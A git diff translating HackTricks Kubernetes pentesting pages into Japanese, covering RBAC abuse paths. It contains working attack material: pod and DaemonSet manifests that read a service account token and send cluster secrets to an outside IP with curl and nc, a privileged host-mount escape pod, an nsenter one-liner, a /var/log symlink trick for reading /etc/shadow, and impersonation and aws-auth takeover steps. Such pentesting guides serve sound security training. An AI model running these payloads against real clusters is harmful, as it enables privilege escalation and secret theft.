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40
src/pentesting-cloud/kubernetes-security/README.md
View File

@@ -2,83 +2,79 @@
{{#include ../../banners/hacktricks-training.md}}
## Kubernetes Basics
## Kubernetesの基本
If you don't know anything about Kubernetes this is a **good start**. Read it to learn about the **architecture, components and basic actions** in Kubernetes:
Kubernetesについて何も知らない場合、これは**良いスタート**です。Kubernetesの**アーキテクチャ、コンポーネント、基本的なアクション**について学ぶために読んでください：
{{#ref}}
kubernetes-basics.md
{{#endref}}
### Labs to practice and learn
### 実践と学習のためのラボ
- [https://securekubernetes.com/](https://securekubernetes.com)
- [https://madhuakula.com/kubernetes-goat/index.html](https://madhuakula.com/kubernetes-goat/index.html)
## Hardening Kubernetes / Automatic Tools
## Kubernetesの強化 / 自動ツール
{{#ref}}
kubernetes-hardening/
{{#endref}}
## Manual Kubernetes Pentest
## 手動Kubernetesペンテスト
### From the Outside
### 外部から
There are several possible **Kubernetes services that you could find exposed** on the Internet (or inside internal networks). If you find them you know there is Kubernetes environment in there.
インターネット上（または内部ネットワーク内）で**公開されているKubernetesサービス**を見つける可能性があります。それらを見つけた場合、そこにKubernetes環境があることがわかります。
Depending on the configuration and your privileges you might be able to abuse that environment, for more information:
構成や権限によっては、その環境を悪用できるかもしれません。詳細については：
{{#ref}}
pentesting-kubernetes-services/
{{#endref}}
### Enumeration inside a Pod
### Pod内の列挙
If you manage to **compromise a Pod** read the following page to learn how to enumerate and try to **escalate privileges/escape**:
**Podを侵害**することができた場合、列挙方法や**権限の昇格/エスケープ**を試みる方法について学ぶために次のページを読んでください：
{{#ref}}
attacking-kubernetes-from-inside-a-pod.md
{{#endref}}
### Enumerating Kubernetes with Credentials
### 資格情報を使ったKubernetesの列挙
You might have managed to compromise **user credentials, a user token or some service account toke**n. You can use it to talk to the Kubernetes API service and try to **enumerate it to learn more** about it:
**ユーザー資格情報、ユーザートークン、またはサービスアカウントトークン**を侵害できたかもしれません。それを使用してKubernetes APIサービスに話しかけ、**列挙して詳細を学ぶ**ことができます：
{{#ref}}
kubernetes-enumeration.md
{{#endref}}
Another important details about enumeration and Kubernetes permissions abuse is the **Kubernetes Role-Based Access Control (RBAC)**. If you want to abuse permissions, you first should read about it here:
列挙とKubernetesの権限悪用に関するもう一つの重要な詳細は**Kubernetesのロールベースアクセス制御（RBAC）**です。権限を悪用したい場合、まずここでそれについて読むべきです：
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
#### Knowing about RBAC and having enumerated the environment you can now try to abuse the permissions with:
#### RBACについて知り、環境を列挙した後、次の方法で権限を悪用しようとすることができます：
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Privesc to a different Namespace
### 異なるネームスペースへの権限昇格
If you have compromised a namespace you can potentially escape to other namespaces with more interesting permissions/resources:
ネームスペースを侵害した場合、より興味深い権限/リソースを持つ他のネームスペースにエスケープする可能性があります：
{{#ref}}
kubernetes-namespace-escalation.md
{{#endref}}
### From Kubernetes to the Cloud
### Kubernetesからクラウドへ
If you have compromised a K8s account or a pod, you might be able able to move to other clouds. This is because in clouds like AWS or GCP is possible to **give a K8s SA permissions over the cloud**.
K8sアカウントまたはPodを侵害した場合、他のクラウドに移動できるかもしれません。これは、AWSやGCPのようなクラウドでは**K8s SAにクラウド上の権限を与えることが可能**だからです。
{{#ref}}
kubernetes-pivoting-to-clouds.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

652
src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md
View File

@@ -1,236 +1,217 @@
# Abusing Roles/ClusterRoles in Kubernetes
# KubernetesにおけるRoles/ClusterRolesの悪用
{{#include ../../../banners/hacktricks-training.md}}
Here you can find some potentially dangerous Roles and ClusterRoles configurations.\
Remember that you can get all the supported resources with `kubectl api-resources`
ここでは、潜在的に危険なRolesおよびClusterRolesの構成を見つけることができます。\
`kubectl api-resources`を使用して、サポートされているすべてのリソースを取得できることを忘れないでください。
## **Privilege Escalation**
## **特権昇格**
Referring as the art of getting **access to a different principal** within the cluster **with different privileges** (within the kubernetes cluster or to external clouds) than the ones you already have, in Kubernetes there are basically **4 main techniques to escalate privileges**:
**異なる特権を持つ別のプリンシパルにアクセスする**技術を指します（kubernetesクラスター内または外部クラウドへのアクセス）が、Kubernetesには基本的に**特権を昇格させるための4つの主要な技術**があります：
- Be able to **impersonate** other user/groups/SAs with better privileges within the kubernetes cluster or to external clouds
- Be able to **create/patch/exec pods** where you can **find or attach SAs** with better privileges within the kubernetes cluster or to external clouds
- Be able to **read secrets** as the SAs tokens are stored as secrets
- Be able to **escape to the node** from a container, where you can steal all the secrets of the containers running in the node, the credentials of the node, and the permissions of the node within the cloud it's running in (if any)
- A fifth technique that deserves a mention is the ability to **run port-forward** in a pod, as you may be able to access interesting resources within that pod.
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つ他のユーザー/グループ/SAを**なりすます**ことができる
- Kubernetesクラスター内または外部クラウドで、より良い特権を持つSAを**見つけたり、アタッチしたりする**ことができる**ポッドを作成/パッチ/実行**できる
- SAのトークンがシークレットとして保存されているため、**シークレットを読む**ことができる
- コンテナからノードに**エスケープ**できること、これによりノード上で実行されているコンテナのすべてのシークレット、ノードの資格情報、およびノードが実行されているクラウド内でのノードの権限を盗むことができる（ある場合）
- 言及に値する5番目の技術は、ポッド内で**ポートフォワードを実行**する能力です。これにより、そのポッド内の興味深いリソースにアクセスできる可能性があります。
### Access Any Resource or Verb (Wildcard)
The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster
### 任意のリソースまたは動詞へのアクセス（ワイルドカード）
**ワイルドカード（*）は、任意の動詞を持つ任意のリソースに対する権限を与えます**。これは管理者によって使用されます。ClusterRole内では、攻撃者がクラスター内の任意の名前空間を悪用できることを意味します。
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
resources: ["*"]
verbs: ["*"]
```
### 特定の動詞で任意のリソースにアクセスする
### Access Any Resource with a specific verb
In RBAC, certain permissions pose significant risks:
1. **`create`:** Grants the ability to create any cluster resource, risking privilege escalation.
2. **`list`:** Allows listing all resources, potentially leaking sensitive data.
3. **`get`:** Permits accessing secrets from service accounts, posing a security threat.
RBACでは、特定の権限が重大なリスクをもたらします：
1. **`create`:** 任意のクラスターリソースを作成する能力を付与し、特権昇格のリスクを伴います。
2. **`list`:** すべてのリソースをリストすることを許可し、機密データが漏洩する可能性があります。
3. **`get`:** サービスアカウントからシークレットにアクセスすることを許可し、セキュリティの脅威をもたらします。
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
resources: ["*"]
verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
An atacker with the permissions to create a pod, could attach a privileged Service Account into the pod and steal the token to impersonate the Service Account. Effectively escalating privileges to it
Example of a pod that will steal the token of the `bootstrap-signer` service account and send it to the attacker:
ポッドを作成する権限を持つ攻撃者は、特権のあるサービスアカウントをポッドにアタッチし、そのトークンを盗んでサービスアカウントを偽装することができます。実質的に権限を昇格させることになります。
`bootstrap-signer`サービスアカウントのトークンを盗み、攻撃者に送信するポッドの例:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
### Podの作成とエスケープ
### Pod Create & Escape
The following indicates all the privileges a container can have:
- **Privileged access** (disabling protections and setting capabilities)
- **Disable namespaces hostIPC and hostPid** that can help to escalate privileges
- **Disable hostNetwork** namespace, giving access to steal nodes cloud privileges and better access to networks
- **Mount hosts / inside the container**
以下は、コンテナが持つことができるすべての権限を示しています：
- **特権アクセス**（保護を無効にし、機能を設定する）
- **namespace hostIPCおよびhostPidを無効にする** これにより権限を昇格させることができます
- **hostNetwork** namespaceを無効にし、ノードのクラウド権限を盗むためのアクセスとネットワークへのより良いアクセスを提供します
- **ホストをコンテナ内にマウントする**
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
```
Create the pod with:
ポッドを作成するには：
```bash
kubectl --token $token create -f mount_root.yaml
```
One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751104) and with some additions:
このツイートからのワンライナーといくつかの追加:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Now that you can escape to the node check post-exploitation techniques in:
#### Stealth
#### ステルス
You probably want to be **stealthier**, in the following pages you can see what you would be able to access if you create a pod only enabling some of the mentioned privileges in the previous template:
あなたはおそらく**ステルス性**を高めたいと思っているでしょう。次のページでは、前のテンプレートで言及された特権の一部のみを有効にしてポッドを作成した場合にアクセスできるものを確認できます：
- **Privileged + hostPID**
- **Privileged only**
- **特権 + hostPID**
- **特権のみ**
- **hostPath**
- **hostPID**
- **hostNetwork**
- **hostIPC**
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
_前の特権ポッドの構成を作成/悪用する方法の例は_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) で見つけることができます。
### Pod Create - Move to cloud
### Pod Create - クラウドに移動
If you can **create** a **pod** (and optionally a **service account**) you might be able to **obtain privileges in cloud environment** by **assigning cloud roles to a pod or a service account** and then accessing it.\
Moreover, if you can create a **pod with the host network namespace** you can **steal the IAM** role of the **node** instance.
**ポッド**（およびオプションで**サービスアカウント**）を**作成**できる場合、**ポッドまたはサービスアカウントにクラウドロールを割り当てることによってクラウド環境で特権を取得**できるかもしれません。そして、それにアクセスします。\
さらに、**ホストネットワーク名前空間**を持つ**ポッドを作成**できる場合、**ノード**インスタンスのIAMロールを**盗む**ことができます。
For more information check:
詳細については、次を確認してください：
{{#ref}}
pod-escape-privileges.md
{{#endref}}
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
### **デプロイメント、デーモンセット、ステートフルセット、レプリケーションコントローラー、レプリカセット、ジョブ、クロンジョブの作成/パッチ**
It's possible to abouse these permissions to **create a new pod** and estalae privileges like in the previous example.
The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod:
これらの権限を悪用して**新しいポッドを作成**し、前の例のように特権を確立することが可能です。
次のyamlは**デーモンセットを作成し、ポッド内のSAのトークンを外部に送信**します：
```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
```
### **Pods Exec**
**`pods/exec`** is a resource in kubernetes used for **running commands in a shell inside a pod**. This allows to **run commands inside the containers or get a shell inside**.
Therfore, it's possible to **get inside a pod and steal the token of the SA**, or enter a privileged pod, escape to the node, and steal all the tokens of the pods in the node and (ab)use the node:
**`pods/exec`** は、**ポッド内のシェルでコマンドを実行するために使用されるkubernetesのリソース**です。これにより、**コンテナ内でコマンドを実行したり、シェルに入ったりすることができます**。
したがって、**ポッドに入ってSAのトークンを盗むことが可能であり、特権ポッドに入ってノードに脱出し、ノード内のすべてのポッドのトークンを盗んでノードを(悪用)することができます**。
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
### port-forward
This permission allows to **forward one local port to one port in the specified pod**. This is meant to be able to debug applications running inside a pod easily, but an attacker might abuse it to get access to interesting (like DBs) or vulnerable applications (webs?) inside a pod:
この権限は、**指定されたポッド内の1つのポートに1つのローカルポートを転送することを許可します**。これは、ポッド内で実行されているアプリケーションを簡単にデバッグできるようにするためのものですが、攻撃者はこれを悪用して、ポッド内の興味深い（データベースのような）または脆弱なアプリケーション（ウェブ？）にアクセスする可能性があります：
```
kubectl port-forward pod/mypod 5000:5000
```
### ホストの書き込み可能な /var/log/ エスケープ
### Hosts Writable /var/log/ Escape
[**この研究で示されているように**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)、**ホストの `/var/log/` ディレクトリがマウントされた**ポッドにアクセスまたは作成できる場合、**コンテナからエスケープ**することができます。\
これは基本的に、**Kube-APIがコンテナのログを取得しようとする際**（`kubectl logs <pod>`を使用）、**ポッドの `0.log`** ファイルを**Kubelet**サービスの `/logs/` エンドポイントを使用して要求するためです。\
Kubeletサービスは、基本的に**コンテナの `/var/log` ファイルシステムを公開する** `/logs/` エンドポイントを公開しています。
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), if you can access or create a pod with the **hosts `/var/log/` directory mounted** on it, you can **escape from the container**.\
This is basically because the when the **Kube-API tries to get the logs** of a container (using `kubectl logs <pod>`), it **requests the `0.log`** file of the pod using the `/logs/` endpoint of the **Kubelet** service.\
The Kubelet service exposes the `/logs/` endpoint which is just basically **exposing the `/var/log` filesystem of the container**.
Therefore, an attacker with **access to write in the /var/log/ folder** of the container could abuse this behaviours in 2 ways:
- Modifying the `0.log` file of its container (usually located in `/var/logs/pods/namespace_pod_uid/container/0.log`) to be a **symlink pointing to `/etc/shadow`** for example. Then, you will be able to exfiltrate hosts shadow file doing:
したがって、**コンテナの /var/log/ フォルダーに書き込むアクセス権を持つ攻撃者**は、この動作を2つの方法で悪用することができます：
- コンテナの `0.log` ファイル（通常は `/var/logs/pods/namespace_pod_uid/container/0.log` にあります）を**`/etc/shadow` を指すシンボリックリンク**に変更します。そうすれば、次のようにしてホストのシャドウファイルを抽出することができます：
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -238,9 +219,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- If the attacker controls any principal with the **permissions to read `nodes/log`**, he can just create a **symlink** in `/host-mounted/var/log/sym` to `/` and when **accessing `https://<gateway>:10250/logs/sym/` he will lists the hosts root** filesystem (changing the symlink can provide access to files).
- 攻撃者が **`nodes/log`** を読む権限を持つ任意のプリンシパルを制御している場合、彼は単に `/host-mounted/var/log/sym` に `/` への **シンボリックリンク** を作成し、**`https://<gateway>:10250/logs/sym/` にアクセスすることでホストのルート** ファイルシステムをリストします（シンボリックリンクを変更することでファイルへのアクセスが可能になります）。
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -252,88 +231,78 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
<a href="lib">lib</a>
[...]
```
**実験室と自動化されたエクスプロイトは** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) **で見つけることができます。**
**A laboratory and automated exploit can be found in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Bypassing readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
If you are lucky enough and the highly privileged capability capability `CAP_SYS_ADMIN` is available, you can just remount the folder as rw:
#### 読み取り専用保護の回避 <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
運が良ければ、高度に特権のある能力 `CAP_SYS_ADMIN` が利用可能であれば、フォルダーを rw として再マウントすることができます：
```bash
mount -o rw,remount /hostlogs/
```
#### hostPathのreadOnly保護を回避する <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Bypassing hostPath readOnly protection <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
As stated in [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) it’s possible to bypass the protection:
[**この研究**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html)に記載されているように、保護を回避することが可能です：
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
- pathPrefix: "/foo"
readOnly: true
```
Which was meant to prevent escapes like the previous ones by, instead of using a a hostPath mount, use a PersistentVolume and a PersistentVolumeClaim to mount a hosts folder in the container with writable access:
ホストパスマウントの代わりに、PersistentVolumeとPersistentVolumeClaimを使用して、書き込み可能なアクセスでコンテナ内のホストフォルダをマウントすることによって、前のようなエスケープを防ぐことを目的としていました。
```yaml
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **特権アカウントのなりすまし**
### **Impersonating privileged accounts**
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.
Just use the parameter `--as=<username>` in the `kubectl` command to impersonate a user, or `--as-group=<group>` to impersonate a group:
[**ユーザーのなりすまし**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation)権限を持つ攻撃者は、特権アカウントになりすますことができます。
`kubectl`コマンドで`--as=<username>`パラメータを使用してユーザーになりすますか、`--as-group=<group>`を使用してグループになりすますだけです：
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
```
Or use the REST API:
またはREST APIを使用します：
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
@@ -341,76 +310,68 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### シークレットのリスト
### Listing Secrets
The permission to **list secrets could allow an attacker to actually read the secrets** accessing the REST API endpoint:
**シークレットをリストする権限は、攻撃者が実際にシークレットを読み取ることを可能にする可能性があります** REST API エンドポイントにアクセスすることで:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### シークレットの読み取り – トークンIDのブルートフォース攻撃
### Reading a secret – brute-forcing token IDs
読み取り権限を持つトークンを所持している攻撃者は、それを使用するためにシークレットの正確な名前を必要としますが、より広範な _**シークレットのリスト表示**_ 権限とは異なり、依然として脆弱性があります。システム内のデフォルトサービスアカウントは列挙可能で、それぞれがシークレットに関連付けられています。これらのシークレットは、静的なプレフィックスの後にランダムな5文字の英数字トークン（特定の文字を除く）を持つ名前の構造を持っています。[ソースコード](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83)によると。
While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
トークンは、フルアルファベット範囲ではなく、限られた27文字のセット（`bcdfghjklmnpqrstvwxz2456789`）から生成されます。この制限により、合計可能な組み合わせは14,348,907（27^5）に減少します。したがって、攻撃者は数時間でトークンを推測するためのブルートフォース攻撃を実行することが現実的であり、機密サービスアカウントにアクセスすることによって特権の昇格につながる可能性があります。
The token is generated from a limited 27-character set (`bcdfghjklmnpqrstvwxz2456789`), rather than the full alphanumeric range. This limitation reduces the total possible combinations to 14,348,907 (27^5). Consequently, an attacker could feasibly execute a brute-force attack to deduce the token in a matter of hours, potentially leading to privilege escalation by accessing sensitive service accounts.
### 証明書署名要求
### Certificate Signing Requests
リソース `certificatesigningrequests`（または少なくとも `certificatesigningrequests/nodeClient`）に **`create`** の動詞がある場合、新しいノードの新しいCeSRを **作成** できます。
If you have the verbs **`create`** in the resource `certificatesigningrequests` ( or at least in `certificatesigningrequests/nodeClient`). You can **create** a new CeSR of a **new node.**
According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), so in that case you **don't need extra permissions**. If not, you would need to be able to approve the request, which means update in `certificatesigningrequests/approval` and `approve` in `signers` with resourceName `<signerNameDomain>/<signerNamePath>` or `<signerNameDomain>/*`
An **example of a role** with all the required permissions is:
[ドキュメントによると、この要求を自動承認することが可能です](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)ので、その場合は **追加の権限は必要ありません**。そうでない場合は、要求を承認できる必要があり、これは `certificatesigningrequests/approval` の更新と、リソース名 `<signerNameDomain>/<signerNamePath>` または `<signerNameDomain>/*` での `signers` の承認を意味します。
必要なすべての権限を持つ **ロールの例** は次のとおりです:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
```
新しいノードCSRが承認されたので、ノードの特別な権限を**悪用**して**秘密を盗み**、**権限を昇格**させることができます。
So, with the new node CSR approved, you can **abuse** the special permissions of nodes to **steal secrets** and **escalate privileges**.
In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) the GKE K8s TLS Bootstrap configuration is configured with **automatic signing** and it's abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.\
If you **have the mentioned privileges yo could do the same thing**. Note that the first example bypasses the error preventing a new node to access secrets inside containers because a **node can only access the secrets of containers mounted on it.**
The way to bypass this is just to **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post):
[**この投稿**](https://www.4armed.com/blog/hacking-kubelet-on-gke/)と[**こちら**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)では、GKE K8s TLSブートストラップ構成が**自動署名**で設定されており、新しいK8sノードの資格情報を生成するために悪用され、その後それを使用して秘密を盗むことで権限を昇格させます。\
**言及された権限を持っていれば、同じことができます**。最初の例は、新しいノードがコンテナ内の秘密にアクセスするのを防ぐエラーを回避します。なぜなら、**ノードは自分にマウントされたコンテナの秘密にしかアクセスできないからです。**
これを回避する方法は、**興味のある秘密がマウントされているコンテナのノード名のノード資格情報を作成すること**です（ただし、最初の投稿でそれを行う方法を確認してください）：
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps
Principals that can modify **`configmaps`** in the kube-system namespace on EKS (need to be in AWS) clusters can obtain cluster admin privileges by overwriting the **aws-auth** configmap.\
The verbs needed are **`update`** and **`patch`**, or **`create`** if configmap wasn't created:
EKS（AWSにいる必要があります）クラスターのkube-system名前空間で**`configmaps`**を変更できるプリンシパルは、**aws-auth** configmapを上書きすることでクラスター管理者権限を取得できます。\
必要な動詞は**`update`**と**`patch`**、またはconfigmapが作成されていない場合は**`create`**です：
```bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
@@ -419,14 +380,14 @@ get configmap aws-auth -n kube-system -o yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
